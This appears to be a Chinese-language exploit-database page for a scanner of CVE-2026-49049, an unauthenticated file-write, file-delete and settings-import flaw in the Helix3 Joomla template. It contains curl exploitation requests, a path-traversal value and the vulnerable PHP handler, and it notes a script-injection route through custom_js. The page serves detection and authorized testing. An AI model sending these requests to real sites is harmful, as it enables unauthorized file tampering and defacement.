## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-49049
   
### CVE-2026-49049 — Helix3 Joomla 插件 (JoomShaper)
#### 未经身份验证的 AJAX 处理器 — 只读漏洞扫描器
* * *
## 概述
**CVE-2026-49049** 影响 Joomla 的 Helix3 模板框架(版本 **1.0 至 3.1.0** )。通过 Joomla 的 `com_ajax` 调度器可访问的 `onAjaxHelix3` 处理器,在多个破坏性操作上**未执行任何身份验证、授权或 CSRF 验证** :
操作| 影响| 可用版本
---|---|---
`save`| 写入攻击者控制的 JSON 文件,支持**路径遍历**| 所有版本
`remove`| 删除任意文件 — **无扩展名或路径限制**| 所有版本
`import`| 覆盖数据库中存储的模板参数| **仅 v3.x**
> **注意:** `import` 操作是在 Helix3 v3.x 中添加的。运行 v2.x 的站点仅受 `save` 和 `remove` 影响。
该漏洞由 **Phil Taylor** (mySites.guru) 发现并于 2026 年 6 月 29 日公布。
### 受影响版本
Helix3 版本| save/remove| import
---|---|---
1.0 – 2.x| 存在漏洞| 不存在
3.0 – 3.1.0| 存在漏洞| 存在漏洞
3.1.1+| 已修补| 已修补
* * *
## 安装
root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
* * *
## 使用
root@kitploit:~
# 单个目标
python cve_2026_49049.py -t 192.168.1.100
# 批量扫描
python cve_2026_49049.py -f targets.txt -o results.txt
# 带 JSON 报告和详细输出
python cve_2026_49049.py -f targets.txt --json report.json -v
### 参数
root@kitploit:~
-t, --target 单个目标(域名或 IP)
-f, --file 包含目标的文件,每行一个
-o, --output 实时文本输出(默认:cve-2026-49049_scan.txt)
--json 结构化 JSON 报告(默认:cve-2026-49049_report.json)
--threads 并发线程数(默认:15)
--timeout HTTP 超时秒数(默认:15)
-v, --verbose 显示探测详情
* * *
## 概念验证
### 检测与验证
扫描器执行**只读探测** ——它通过未经身份验证的 `save` 端点将无害的 JSON 文件写入 Helix3 布局文件夹,验证文件已写入,然后立即通过 `remove` 端点将其删除。目标上不会留下任何持久更改。
root@kitploit:~
$ python cve_2026_49049.py -t 192.168.1.100 -v
root@kitploit:~
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
### 手动复现
扫描器探测这些确切端点。用于手动验证:
**步骤 1 — 确认 Helix3 已安装**
root@kitploit:~
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# 查找 <version>X.X.X</version>
**步骤 2 — 测试 save 操作(未经身份验证的文件写入)**
root@kitploit:~
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
**步骤 3 — 测试 remove 操作(未经身份验证的文件删除)**
root@kitploit:~
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
**步骤 4 — 测试 import 操作(仅 v3.x,v2.x 不可用)**
root@kitploit:~
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# 注意:import 在 Helix3 v3.x 中添加。
# 运行 v2.x 的站点对此操作将返回空响应。
### 漏洞机制
在 3.1.1 之前的 Helix3 版本中,`plugins/ajax/helix3/helix3.php` 通过 `onAjaxHelix3()` 处理请求,**没有任何防护** :
root@kitploit:~
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// 无身份验证检查。无 CSRF 令牌。无路径验证。
$filepath = $layoutPath . $layoutName; // 可能路径遍历
switch ($action) {
case 'remove':
unlink($filepath); // 任意文件删除
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // 写入
break;
}
}
### 危险之处
* **Save + 路径遍历** — `layoutName=../../../somewhere/evil` 将文件写入预期布局目录之外
* **Remove 无扩展名限制** — 与 `save`(追加 `.json`)不同,`remove` 可以针对任何文件类型
* **Import (v3.x) 覆盖数据库参数** — `custom_js` 在模板输出中**未转义** 渲染,从而在每个页面上实现脚本注入。这是真实世界篡改攻击中使用的向量。
* * *
## 免责声明
> **仅供教育和授权测试使用。**
>
> 本软件旨在供进行授权渗透测试的安全专业人员、审计自身基础设施的组织以及研究漏洞利用的研究人员使用。
>
> 未经授权访问计算机系统是非法的,可能违反:
>
> * 美国:《计算机欺诈与滥用法》(18 U.S.C. 1030)
> * 印度尼西亚:UU ITE 第 30 条和第 46 条
> * 欧盟:指令 2013/40/EU
> * 英国:《计算机滥用法》1990
>
>
> 作者对误用不承担任何责任。使用本软件即表示您对自己的行为承担全部责任。
* * *
## 参考
资源| 链接
---|---
* * *
本项目与 JoomShaper、Joomla 或 Open Source Matters, Inc. 无关联。